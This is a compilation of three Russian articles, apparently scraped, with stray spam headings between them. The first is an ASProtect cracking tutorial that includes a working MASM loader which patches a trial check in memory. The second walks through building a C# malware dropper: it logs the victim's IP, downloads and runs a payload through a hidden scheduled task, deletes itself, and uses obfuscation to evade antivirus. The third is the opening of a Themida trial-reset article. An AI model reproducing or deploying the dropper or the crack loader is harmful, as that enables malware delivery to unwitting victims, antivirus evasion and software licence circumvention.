Как сделать лоадер для программы

Создание лоадера для программы, защищённой ASProtect’ом

Создание лоадера для программы, защищённой ASProtect’ом

Струмент:
PEiD и Protection ID (оба необязательны)
OllyDbg
Плагин IsDebugPresent (необязательно)
MASM32 (ml.exe + link.exe)

Нашей жертвой будет программа Abexo Registry Cleaner, неплохой чистильщик реестра. Работает она… 5 дней, после чего начинает трубить о покупке полной версии. Защита –ASProtect весьма солидной версии – 2.0 (такие показания дали PEiD и Protection ID, первый даже выдал 2.0x Registered). Если поначалу я ещё надеялся снять защиту, то в конце концов понял – этот путь для меня закрыт, кишка тонка.

Вообще с аспром я не в ладах, хотя и читал некоторые статьи. Представьте мою радость, когда я увидел программу ASProtect stripper, способную убрать аспр первых версий.

Хотя все, даже самые свежие, версии его давно уже распакованы, что побуждает Солодовникова (автора) создавать новые, которые со временем, естественно, тоже ломают, в итоге автор опять начинает стараться… Я это называю «естественной эволюцией протектората». Закон философии гласит: « Нет такой защиты, которую нельзя было бы сломать ». Защиту я, однако, так и не сломал.

АНТИВИРУСЫ НЕ МОГУТ ОБНАРУЖИТЬ ЛОАДЕР — Как Сделать FUD Loader на C# за Пару Минут

Однако в процессе неудачной распаковки я неожиданно нашёл другой путь к взлому – пропатчить пару байт в области памяти, выделенной VirtualAlloc (я уж думаю, аспр использует её, какую же ещё?). Такой патч заставит программу грузиться дальше, а не вылетать в ExitProcess. Почему этот код находится в выделенном регионе, а не в секции кода?

Это задумка Солодовникова, призванная затруднить распаковку. Даже OEP, судя по всему, находится не в секции кода, а в таком вот регионе. Хотя полноценным OEP’ом это не назовёшь, так как аспр подмешивает к оригинальным инструкциям массу своего путаного кода, изменяя их до неузнаваемости. Противные jmp и xor мешают их трассировать.

Вот иногда и называют точку входа не OEP, а VOEP – виртуальная OEP. Итак, стартуем.

В OllyDbg откроем arc.exe и увидем такую картину:

>00401000 68 01B05A00 PUSH 005AB001
00401005 E8 01000000 CALL 0040100B
0040100A C3 RET
0040100B C3 RET

В задачи этой статьи не входит поиск OEP, поэтому все исключения можно сразу передать аспру: на вкладке Exceptions окна Options следует поставить флажки INT3 breaks и memory access violation. Тыркните F9, и тогда выползет MessageBox c сообщением: “Thank you for trying an Abexo product”. (Здесь и далее я предполагаю, что испытательный срок 5 дней уже вышел, а то иначе вместо MessageBox вы бы увидели нормальное рабочее окно программы.) Нажмите OK, и программа, к сожалению закроется.

НО: если вы увидите собщение “Debugger detected – please close it down and restart!”, значит сработал антиотладочный приём Солодовникова. Проще всего выйти из положения – установить плагин IsDebugPresent, и с его помощью скрыть отладчик от обнаружения. Но если плагина нет – можно всё сделать и своими, не такими уж слабыми руками.

С++ / C# — Как сделать Систему Авторизаций по Ключам

Попытки патчить (т.е. вносить изменения) функцию IsDebuggerPresent в kernel32.dll заранее обречены на провал, т.к. Солодовников сам умеет замечать присутствие отладчика, вызывая эту функцию лишь для маскировки. Сделать можно так: будучи в окне дампа, нажмите Ctrl-G и введите fs:[30] (и нажмите Enter). Теперь присмотритесь к окну дампа. Видите третий по счёту байт?

Он должен равняться 01, никак не иначе. (Если он равен 00, значит, плагин у вас всё-таки стоит.) Именно этот байт определяет присутствие отладчика. Измените байт на 00. Всё – отладчик теперь у нас, подобно самолёту Стелс, невидим. (Правда, процедуру придётся проделывать после каждого перезапуска программы – скажите за это спасибо компании Microsoft).

Итак, что же делать со всем этим? Первым делом надо узнать, куда MessageBox («Thank you for trying an Abexo product») возвращает управление. Пришёл в голову аппаратный бряк? Не выйдет, к сожалению. Солодовников нашёл способ обходить такие бряки. Насколько знаю, они ставятся через отладочные регистры DR0-DR7, как он их обходит – беспонятие.

Это, однако, не снимает вопроса – как нам перехватить MessageBox? Предлагаю следующий способ – во время работы этой функции нажать кнопку паузы, и «вытрассироваться» из функции. В итоге мы окажемся на адресе возврата. Нажатие паузы приведёт к остановке в местечке где-то глубоко в NTDLL, в той области кода, которая используется для вызова Native API. (В Win9x вы остановитесь в kernel32.dll вместо ntdll.dll и совсем в другой области, но это не суть.) Вот это место (для Windows XP):

>7C90EB8B 8BD4 MOV EDX, ESP
7C90EB8D 0F34 SYSENTER
7C90EB8F 90 NOP
7C90EB90 90 NOP
7C90EB91 90 NOP
7C90EB92 90 NOP
7C90EB93 90 NOP
7C90EB94 C3 RET

Окно MessageBox станет невозможно активизировать, т.к. программа стоит на паузе. Нажмите пару-тройку раз Ctrl-F9 (это трассировка до команды RET). Функция продолжит работу и только теперь вы сможете нажать кнопку OK. Нажмите её. Далее: надо вернуться в OllyDbg и нажимать Ctrl-F9 до тех пор, пока вы не покинете функцию MessageBox. В заголовке окна отладчика можно видеть “CPU – main thread, module user32”.

Вот пока надпись module user32 не исчезнет, надо нажимать Ctrl-F9. (Объяснять, почему module user32, думаю, вам не надо. А вот потом эта надпись исчезнет совсем. Это потому, что код находится в выделенном регионе памяти, а не в секции кода. Если бы он был в секции кода, в заголовке появилось бы “module arc”.) Итак, мы вышли из функции и стоим на адресе возврата. Это ключевое для нас место, присмотритесь к нему:

>00B253DB A1 0488B300 MOV EAX, [B38804] 00B253E0 8B00 MOV EAX, [EAX]
00B253E2 8B00 MOV EAX, [EAX]
00B253E4 8BD0 MOV EDX, EAX
00B253E6 0350 3C ADD EDX, [EAX+3C]
00B253E9 8BC2 MOV EAX, EDX
00B253EB F640 17 20 TEST BYTE PTR [EAX+17], 20
00B253EF 74 21 JE SHORT 00B25412 ;здесь будем патчить.
00B253F1 A1 0488B300 MOV EAX, [B38804]
00B253F6 8B00 MOV EAX, [EAX]
00B253F8 8B40 1C MOV EAX, [EAX+1C]
00B253FB 8945 FC MOV [EBP-4], EAX
00B253FE 837D FC 00 CMP DWORD PTR [EBP-4], 0
00B25402 75 07 JNZ SHORT 00B2540B
00B25404 6A 00 PUSH 0
00B25406 E8 2103FFFF CALL 00B1572C ; JMP to kernel32.ExitProcess
00B2540B 8B65 FC MOV ESP, [EBP-4]
00B2540E 61 POPAD
00B2540F 31C0 XOR EAX, EAX
00B25411 C3 RET ; равносильно выходу из программы
00B25412 6A 01 PUSH 1
00B25414 E8 1303FFFF CALL 00B1572C ; JMP to kernel32.ExitProcess
00B25419 59 POP ECX ;а вот это – выход из функции, нам
00B2541A 5D POP EBP ;как раз сюда
00B2541B C3 RET

Место чрезвычайно интересное. Если сейчас просто его трассировать, то мы вылетим в ExitProcess c адреса B25414. Эта RET между двумя вызовами ExitProcess – тоже ловушка, если выйти на неё, мы тоже вылетим из программы.

(Правда, на сей раз в kernel32.dll, откуда лихо вызывается ExitThread, что тоже равносильно выходу из программы; под Windows 95/98 там не вызывается ExitThread, а идёт прямой вызов ядра системы.) Поэтому придётся искусственно «не дать программе засохнуть» — поставить указатель eip в самый конец этого места, на команду POP ECX. Так можно обойти вызовы ExitProcess и «губительную» команду RET.

Проделайте это (щёлкните правой кнопкой по инструкции pop ecx и нажмите New origin here и OK) и отпустите программу нажатием F9. Она заработает! Другой способ – заменить инструкцию je short b25412 на jmp short b25419, что заставит программу всегда прыгать на pop ecx, pop ebx и далее ret. Вот так мы и будем делать в нашем крэке.

Заменять инструкцию мы будем лоадером. (Это проще, чем менять значение EIP, нам ведь надо сделать работающий крэк.) После выполнения последней RET программа заработает дальше. Что интересно – дак это то, что ASProtect позже опять возмёт управление. Получается, что не закончив работу, он как бы даёт программе немного поработать, а потом снова берётся за дело? Ведь этот MessageBox – плод явно самой программы, а не протектора. Может, профессиональны что-нибудь знают на этот счёт?

Прекрасно, дыра в защите найдена. Теперь надо делать лоадер. Как сделать лоадер? Ну, загрузить программу легко можно функцией CreateProcess, вносить изменения в код – WriteProcessMemory… Однако встаёт вопрос: как поймать нужный момент для внесения патча? Ведь наш код не сразу появляется в памяти, а только после сложного процесса распаковки, которым руководит ASProtect во главе с Солодовниковым.

Ответ: патчить удобно, когда на экране находится окно сообщения MessageBox. А уже когда патч будет внесён, окно сообщения можно насильно закрыть и пропатчённый код тут же выполнится, так, как нам нужно. Правда, этот участок кода изначально не был рассчитан на запись (т.е. на внесение нашего патча).

Поэтому придётся вызвать «сложнейшую» функцию VirtualProtectEx, с помощью которой мы дадим региону памяти доступ PAGE_EXECUTE_READWRITE, вместо былого PAGE_EXECUTE_READ. После этого мы спокойно вызовем WriteProcessMemory. Ну а насильно закрыть окно сообщения – дело грубой техники. SendMessage(hWnd,WM_CLOSE,0,0) с этим прекрасно справится.

Мы запатчим всего 2 байта, нужные значения можно подсмотреть в отладчике, если заменить je short b25412 на jmp short b25419. Лоадер я решил написать на ассемблере. Вот его код:

>REGION_BASE equ 00B10000h
PATCH_ADDRESS equ 00B253EFh
CMDLINE textequ

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

SZPtr macro txt
local s
.const
s db txt,0
.code
exitm
endm

oldProtect dd ?
newBytes db 0EBh,28h

start:
invoke CreateProcess,0,SZPtr(CMDLINE),0,0,0,0,0,0,addr stinf,addr pi
.repeat
invoke FindWindow,SZPtr(‘#32770’),SZPtr(‘Evaluation Version’)
mov edi,eax
invoke Sleep,100
.until edi
invoke VirtualProtectEx,pi.hProcess,REGION_BASE,32000h,PA GE_EXECUTE_READWRITE,addr oldProtect
invoke WriteProcessMemory,pi.hProcess,PATCH_ADDRESS,addr newBytes,sizeof newBytes,0
invoke SendMessage,edi,WM_CLOSE,0,0
invoke CloseHandle,pi.hProcess
ret
end start

Этот код следует компилировать так:

ml /c /coff loader.asm
link /subsystem:windows /libpath: /section:.text,rwe

Вся соль — в /section:.text,rwe он даёт секции кода доступ на запись, т.к. данные у меня именно в этой секции. CreateProcess записывает значения в структуры. Если ключа не указать, то программа рухнет уже на первом вызове функции.
На моём компе это работает, уверяю вас. Если вы хотите, чтобы заработало и на вашем, скорее всего придётся изменить константы в начале программы.

Дело в том, что базовый адрес региона может меняться, а вместе с ним и адрес вносимого патча. (Я правда не знаю, указывает ли ASProtect какой-нибудь конкретный адрес при вызове VirtualAlloc или нет.) Чтобы получить базовый адрес региона памяти, можно нажать клавишу Home, находясь в этом регионе, и тогда OllyDbg выскочит на начало региона. PATCH_ADDRESS – это адрес инструкции je short 00B25412, помните её? (Можете вернуться в середину статьи и посмотреть на то «интересное место» кода.) Этот адрес тоже меняется в зависимости от базового адреса региона (REGION_BASE). Как его найти – я только что показал – клавиша Home. Ну а как в деталях работает программа, вы сможете понять сами. Для этого надо знать MASM32. (А также фундаментальные принципы работы Windows…)

Ну вот, вроде как бы и всё… Видите, даже не пришлось особо вникать в логику ASProtect’a (в этом вся прелесть лоадеров). Вообще ASProtect представляет собой какой-то сплошной алогизм, к которому неприменим здравый смысл. Ну да ладно, остаётся только поблагодарить авторов за Abexo Registry Cleaner (очень прилично чистит), Алексея Солодовникова за его АСПротекты, а Oleh’а Yuschuk’а за OllyDbg.

Комментарии к статье: Создание лоадера для программы, защищённой ASProtect’ом

PE_Kill 20.10.2006 07:54:27
Чтобы работало на всех машинах надо искать место патча по сигнатуре.
—
coderess 31.01.2009 22:15:02
PE_Kil абсолютно согласен с тобой
—

Источник: exelab.one

Свой лоадер на C#

DEEPSIDE

Привет, сегодня мы напишем простой лоадер (загрузчик) для наших вирусов на C#. Loader (лоадер) в базовом понятии под словом «лоадер» понимается некое программное обеспечение выполняющее функции доставки ваших файлов на компьютер жертвы. Со связки, другого лоадера или по средствам прямых загрузок пользователю на компьютер доставляется и запускается лоадер. Зачастую это небольшого размера исполняемый файл, который при запуске скачивает из интернета один или несколько ваших файлов на компьютер жертвы и запускает их. Логгер — сайт отслеживающий IP адрес человека.

Как будет работать наш лоадер?

• Сначала, после запуска, он отправить запрос на логгер, где сохранится IP жертвы
• Далее он загрузит файл с сервера
• Потом поместит файл во временную папку (Temp) и запустится
• После чего самоудалится

Приступим.

Для начала создаём консольный проект, версия фреймворка 4.5

Сразу удаляем все юзинги, и добавляем нужные:

using System; using System.Diagnostics; using System.IO; using System.Net; using System.Reflection; using System.Threading;

Логгирование.

Первым делом мы напишем функцию логгирования (отслеживания запуска файла по IP).

Создаём новый void с именем logger и переменной url:

public static void logger(string url)

Теперь в эту функцию (logger) добавляем переменную request, которая отвечает за web запрос:

WebRequest request = WebRequest.Create(url);

Назначим полномочия пользователя:

request.Credentials = CredentialCache.DefaultCredentials;

Сейчас добавляем юзерагент, в данном случае это будет юзер агент браузера Firefox:

((HttpWebRequest)request).UserAgent = «Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0»; // Можно изменить на хромиум

Ну и напоследок добавляем ответ от сервера:

request.GetResponse();

Вот так должен выглядеть void logger:

• Загрузка, запуск, самоудаление файла.

Теперь добавим самую важную функцию лоадера — загрузка файла.

Создаём новый void с именем load, и переменными link и filename

public static void load(string link, string filename)

Добавляем путь до нашего файла, у нас он будет хранится во временной папке Temp:

filename = Environment.GetEnvironmentVariable(«Temp») + «\» + filename; // Можно заменить на appdata или localappdata

Добавляем переменную user, которая содержит новый WebClient:

using (var user = new WebClient())

Теперь скачиваем файл:

Метод загрузки выглядит так:

Перед тем, как напишем функцию запуска файла, нам нужно добавить функцию самоудаления. Создаём новый void с именем DeleteMe и переменной delay:

public static void DeleteMe(string delay)

Создаём новый процесс, всё объяснение в коментариях:

Process.Start(new ProcessStartInfo // Создаём новый процесс < Arguments = «/C choice /C Y /N /D Y /T » + delay + » » + new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name + «»», // Добавляем аргуемнты для запуска WindowStyle = ProcessWindowStyle.Hidden, // Скрываем окно консоли CreateNoWindow = true, // Создаём бещ окна FileName = «cmd.exe» >);

Метод DeleteMe выглядит так:

Теперь сделаем метод запуска файла, работать будет через планировщик задач.

Создаём void running, с переменной pth:

public static void running(string pth)

Создаём переменную с новым процессом:

var process = new Process();

Добавляем аргументы для запуска:

process.StartInfo = new ProcessStartInfo(«cmd», «/C » + «schtasks /create /tn \» + generateString() + «\» + generateString() + » /tr » + pth + » /st 00:00 /du 9999:59 /sc once /ri 1 /f»);

Тут появиться ошибки, дальше мы их исправим.

Перенаправляем стандартный вывод:

process.StartInfo.RedirectStandardOutput = true;

Отключаем выполнение оболочки

process.StartInfo.UseShellExecute = false;

Запускаем процесс без окна

process.StartInfo.CreateNoWindow = true;

И запускаем процесс

process.Start();

Весь метод running выглядит так:

Теперь добавим рандомную генерацию строк для void’a running.

Создаём новый void generateString:

public static String generateString()

Добавим переменную symbols, в которой содержатся символы для рандомной генерации и переменную result, в которой будет содержатся результат генерации:

string symbols = «QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm»; string result = «»;

Теперь сама функция генерации:

Random rnd = new Random(); int iter = rnd.Next(0, symbols.Length); for (int i = 0; i < iter; i++) result += symbols[rnd.Next(0, symbols.Length)]; return result;

Воид generateString() выглядит так:

На этом все функции закончены, осталось добавить их в главный void (Main)

Но перед этим, нам нужна ссылка-логгер

Для этого переходим на сайт далее выбираем «Невидимый логгер»

Видим следующую страницу:

Здесь нам нужна ссылка для сбора IP адресов. Копируем её.

Возвращаемся к коду, в main пишем:

В итоге, метод Main выглядит примерно так:

Теперь, нам нужно скрыть консоль при запуске лоадера.

Заходим в свойства проекта, далее делаем как на скрине:

Выбираем «Приложение Windows». Теперь консоль не открывается и лоадер запускается скрытно.

Для чего используются лоадеры?

1. Маленький размер. То есть, если ваш вирус имеет огромный вес, просто воспользуйтесь лоадером, который весит ~ 10kb
2. Лоадер имеет низкие детекты. При сканировании вируса антивирусом, он не будет его распознавать.
3. Защищает от слива на VT. Хотя от большинства АВ это не спасёт.

Итог. Что мы имеем?

1. Вес файла ~ 7kb.
2. Детекты:

Лайфхак от DEEPSIDE, если ваш вирус написанный на C# имеет 2-3 детекта, просто обфусцируй код, подробней можно почитать в этой статье.

Обфусцировав код получаем такие детекты:

Заключение.

Сегодня мы написали загрузчик вирусов на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.

Еще больше интересных статей на канале DEEPSIDE

Источник: telegra.ph

Причуды «Фемиды». Пишем лоадер для программ, защищенных Themida

Themida — очень мощ­ный про­тек­тор исполня­емых фай­лов, поз­воля­ющий защитить их от нелицен­зион­ного копиро­вания и попол­зно­вений хакеров. Сегод­ня мы про­дол­жим раз­говор об этом про­тек­торе, сно­ва обсу­дим спо­собы сбро­са три­ала, а так­же напишем лоадер для обхо­да защиты.

warning

Статья написа­на в иссле­дова­тель­ских целях, име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Исполь­зование или рас­простра­нение ПО без лицен­зии про­изво­дите­ля может прес­ледовать­ся по закону.

В прош­лый раз мы обсужда­ли прин­ципы внут­ренней орга­низа­ции вир­туаль­ной машины Themida. А теперь давай зак­репим получен­ные зна­ния на кон­крет­ном при­мере — поп­робу­ем оту­чить про­сить ключ пароч­ку популяр­ных при­ложе­ний фир­мы ConceptWorld. Эти при­ложе­ния пред­став­ляют собой набор мел­ких дешевых полез­няшек для работы с фай­лами, замет­ками и буфером обме­на.

Лич­но я не сов­сем понимаю при­чину популяр­ности этих ути­лит, более того, меня бесят их назой­ливые окош­ки, бол­тающиеся на экра­не и воз­ника­ющие в самый непод­ходящий момент. Но самое раз­дра­жающее зак­люча­ется в том, что на столь прос­тые и дешевые при­ложе­ния навеси­ли столь взрос­лую защиту, в чем мож­но убе­дить­ся при помощи детек­тора про­тек­торов DetectItEasy (Die). Этот стран­ный факт мы с тобой сей­час испра­вим.

При­ложе­ния ConceptWorld отлично подой­дут для демонс­тра­ции сла­бых мест защиты, которые мы с тобой изу­чим исклю­читель­но в ака­деми­чес­ких и иссле­дова­тель­ских целях. На вся­кий слу­чай еще раз напом­ню, что акту­аль­ная Themida не всег­да рас­позна­ется авто­мати­чес­ким ска­ниро­вани­ем, для подс­тра­хов­ки необ­ходимо под­клю­чать Nauz File Detector (NFD), который прак­тичес­ки всег­да опре­деля­ет ее пра­виль­но.

Итак, нач­нем с прог­раммы RecentX. Ради эко­номии мес­та я не буду занимать­ся рек­ламой, опи­сывая, для чего она слу­жит и что уме­ет делать (тем более, сам до кон­ца это­го не понимаю). Давай сра­зу перей­ду к сути защиты. При запус­ке при­ложе­ния (а так­же пос­ле переза­пус­ка сис­темы, пос­коль­ку эта ути­лита наг­ло про­писы­вает­ся в авто­заг­рузку), в вер­хней час­ти экра­на появ­ляет­ся пять вкла­док, которые поз­воля­ют выпол­нять раз­личные дей­ствия. Тул­за отлично работа­ет 30 дней, по про­шес­твии которых прев­раща­ется в тык­ву: нажатие на любой эле­мент интерфей­са при­водит к появ­лению нас­тырно­го окош­ка с тре­бова­нием зарегис­три­ровать прог­рамму.

В этот раз я нарушу собс­твен­ные же пра­вила и нач­ну с опи­сания прин­ципа сбро­са три­ала. Если ты уже читал мои статьи, то зна­ешь, что для начала нам понадо­бит­ся прог­рамма ProcessMonitor (ProcMon). Запус­каем ее, ста­вим филь­тр на имя про­цес­са RecentX. exe и для начала ана­лизи­руем фай­ловый ввод‑вывод это­го про­цес­са при его заг­рузке.

Это неп­росто, пос­коль­ку по сво­ей спе­цифи­ке прог­рамма обра­щает­ся чуть ли не ко всем фай­лам на жес­тком дис­ке. Одна­ко полис­тав спи­сок некото­рое вре­мя, мы натыка­емся на пос­ледова­тель­ные обра­щения к фай­лам со стран­ными неп­роиз­носимы­ми наз­вани­ями в катало­ге ProgramData .

Поп­робу­ем уда­лить, к при­меру, файл C: ProgramData xmvkknpt. yme . Ничего не про­исхо­дит, но при переза­пус­ке прог­раммы он вос­созда­ется на том же самом мес­те. Судя по всем приз­накам, это и есть файл три­ала.

Вни­матель­но про­ана­лизи­ровав лог ProcMon, мы обна­ружи­ваем пол­ный набор подоб­ных фай­лов. Все они находят­ся в катало­ге ProgramData : acqrldoh. otw , bgjxnlpy. hxt , lapoiwsc. hke , uhthdans. svu , vwnpbcnu. gon , xmvkknpt. yme и mntemp . При­чем вре­мя от вре­мени вмес­то фай­лов acqrldoh. otw и vwnpbcnu. gon прог­рамма ищет дру­гую пару — wspjaeoc. kjj и tvmnixvk. oib . Одна­ко даже уда­лив все фай­лы из катало­га ProgramData , удов­летво­рения мы не получим — прог­рамма упор­но про­дол­жает про­сить регис­тра­цию.

По сво­ему пре­дыду­щему опы­ту я пом­ню, что помимо фай­лов, информа­ция о три­але обыч­но дуб­лиру­ется в реес­тре, потому начина­ем рыть в этом нап­равле­нии. Вклю­чаем в ProcessMonitor режим Show Registry Activity и начина­ем тща­тель­но и кро­пот­ливо изу­чать обра­щения прог­раммы к сис­темно­му реес­тру.

По­хоже, мы в беде: зацепить­ся не за что: все клю­чи реес­тра, к которым идет обра­щение, на пер­вый взгляд, ни к «Фемиде», ни к три­алу никако­го отно­шения не име­ют — прог­рамма дела­ет что‑то свя­зан­ное с сер­тифик­тами. Что­бы раз­рулить тупико­вую ситу­ацию, нам явно пот­ребу­ются допол­нитель­ные инс­тру­мен­ты.

Поп­робу­ем ути­литу Registry Trash Keys Finder, которая пред­назна­чена для более интеллек­туаль­ной чис­тки реес­тра. Гру­бо говоря, при помощи этой прог­раммы мож­но получить при­мер­ное пред­став­ление, какие клю­чи в реес­тре не несут полез­ной наг­рузки и каково было их изна­чаль­ное пред­назна­чение. Мы не про­гада­ли: ключ HKCU Software Classes CertificateAuthority. Request CLSID tkgiuafq яко­бы свя­зан­ный с сер­тифика­тами, ока­зыва­ется нап­рямую свя­зан с WinLicense. При­чем рядом рас­положе­но мно­жес­тво подоб­ных клю­чей, а мы бы на них никог­да и не подума­ли!

По­мимо это­го Registry Trash Keys Finder находит в реес­тре мно­жес­тво скры­тых три­аль­ных клю­чей от дру­гих про­тек­торов. Вни­матель­но прой­дясь по логу обра­щений к реес­тру в шаговой дос­тупнос­ти от это­го мес­та, кро­ме откро­вен­но фемидов­ских клю­чей находим спи­сок фик­тивных клю­чей, мар­киру­емых прог­раммой как «Невер­ное имя для CLSID». Что инте­рес­но, вре­мя их соз­дания соот­ветс­тву­ет нашему три­алу:

Источник: xakep.ru